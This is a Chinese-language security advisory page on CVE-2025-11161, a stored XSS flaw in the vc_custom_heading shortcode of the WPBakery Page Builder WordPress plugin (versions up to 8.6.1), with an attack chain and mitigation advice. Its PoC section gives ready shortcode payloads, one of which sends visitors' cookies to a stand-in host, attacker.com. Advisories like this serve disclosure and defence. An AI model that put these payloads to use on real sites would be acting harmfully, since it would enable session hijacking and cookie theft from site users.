IPBUF安全漏洞报告
English
CVE-2025-11161 CVSS 6.4 中危

CVE-2025-11161:WPBakery Page Builder插件存储型XSS漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-11161
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WPBakery Page Builder(WordPress插件)

相关标签

Stored XSS存储型XSS跨站脚本WPBakeryWordPressPage Builder插件漏洞CVE-2025-11161短代码注入Web安全

漏洞概述

CVE-2025-11161是WordPress流行页面构建插件WPBakery Page Builder中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响所有8.6.1及以下版本,由Wordfence安全团队发现并报告。漏洞位于插件的vc_custom_heading短代码中,具体问题出在font_container参数对用户提交的属性值缺乏充分的输入过滤和HTML标签限制机制。由于该插件广泛用于WordPress网站的页面构建,拥有庞大的用户基础,因此该漏洞的影响范围较大。CVSS评分为6.4分,属于中危级别。攻击者需要具备Contributor(投稿者)级别或更高的WordPress账户权限才能利用此漏洞。成功利用后,攻击者可以在受影响的网站中注入恶意JavaScript代码,当其他用户访问包含恶意短代码的页面时,恶意脚本将在受害者浏览器中执行,可能导致会话劫持、权限提升、数据窃取或网站内容篡改等多种安全风险。该漏洞利用了WPBakery短代码机制中的安全缺陷,属于典型的WordPress插件权限提升与XSS组合攻击场景。

技术细节

该漏洞的技术原理在于WPBakery Page Builder插件对vc_custom_heading短代码的font_container参数处理不当。具体而言,当用户在页面或文章中插入vc_custom_heading短代码时,插件允许通过tag和text等属性自定义HTML标签和显示文本。然而,插件在处理这些属性时未对用户输入进行充分的HTML标签白名单过滤和属性值转义,导致攻击者可以注入恶意的HTML标签(如<script>)或带有事件处理器的标签(如<img src=x onerror=alert(1)>)。

利用方式如下:
1. 攻击者使用Contributor或更高权限账户登录WordPress后台;
2. 创建新文章或页面,在内容中插入vc_custom_heading短代码;
3. 在短代码的font_container参数中构造恶意payload,注入恶意JavaScript代码;
4. 发布文章后,每当其他用户(包括管理员)访问该页面,恶意脚本将在其浏览器上下文中执行;
5. 由于是存储型XSS,恶意代码持久化存储在网站数据库中,影响所有访问该页面的用户。

漏洞的根本原因是插件在处理短代码属性时,仅对部分危险字符进行了过滤,但未采用严格的HTML标签白名单机制,也未对所有上下文进行适当的输出编码。攻击者可通过精心构造的payload绕过现有的过滤逻辑,实现任意脚本执行。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者通过社会工程学、购买凭证或注册开放注册网站等方式,获取目标WordPress网站的Contributor(投稿者)级别或更高权限账户。
STEP 2
步骤2:构造恶意短代码
攻击者在创建新文章或页面时,插入vc_custom_heading短代码,并在font_container参数的tag和text属性中嵌入恶意JavaScript代码或带有事件处理器的HTML标签。
STEP 3
步骤3:发布并存储恶意内容
攻击者将包含恶意短代码的文章发布,由于插件未对短代码属性进行充分的输入过滤和HTML标签限制,恶意代码被成功存储到网站数据库中。
STEP 4
步骤4:触发XSS执行
当任何用户(包括管理员)访问包含恶意短代码的页面时,WPBakery插件渲染页面时未对输出进行适当的HTML转义,导致恶意脚本在受害者浏览器中执行。
STEP 5
步骤5:执行恶意操作
恶意脚本在受害者上下文中执行后,攻击者可以窃取Cookie、会话令牌,进行权限提升(如创建管理员账户)、植入后门、重定向用户到钓鱼页面或进行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-11161: WPBakery Page Builder Stored XSS via vc_custom_heading --> <!-- Exploits insufficient sanitization in font_container parameter --> [vc_custom_heading font_container="tag:h1|text:<script>alert('XSS-CVE-2025-11161')</script>" use_theme_fonts="yes" el_class="malicious-class" ][/vc_custom_heading] <!-- Alternative payload using event handler in tag attribute --> <!-- Note: tag attribute should be restricted to safe HTML tags, but is not --> [vc_custom_heading font_container="tag:<img src=x onerror=document.location='http://attacker.com/steal?c='+document.cookie>|text:Click Here" use_theme_fonts="yes" ][/vc_custom_heading] <!-- Attack flow: --> <!-- 1. Attacker with Contributor+ access creates a post/page --> <!-- 2. Inserts the above shortcode with malicious payload in font_container --> <!-- 3. Publishes the content (stored in database) --> <!-- 4. When any user views the page, the injected script executes in their browser -->

影响范围

WPBakery Page Builder <= 8.6.1

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制Contributor级别及以下用户访问WordPress后台,防止低权限用户发布包含恶意短代码的内容;2)通过安全插件(如Wordfence)配置WAF规则,阻止包含可疑HTML标签(如<script>、onerror等)的短代码参数提交;3)在主题的functions.php中添加过滤器,对vc_custom_heading短代码的输出进行额外的HTML转义处理;4)部署内容安全策略(CSP)头部,限制内联脚本执行;5)定期审查已发布的内容,查找并清理可能的恶意注入;6)监控网站访问日志,识别异常的短代码使用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表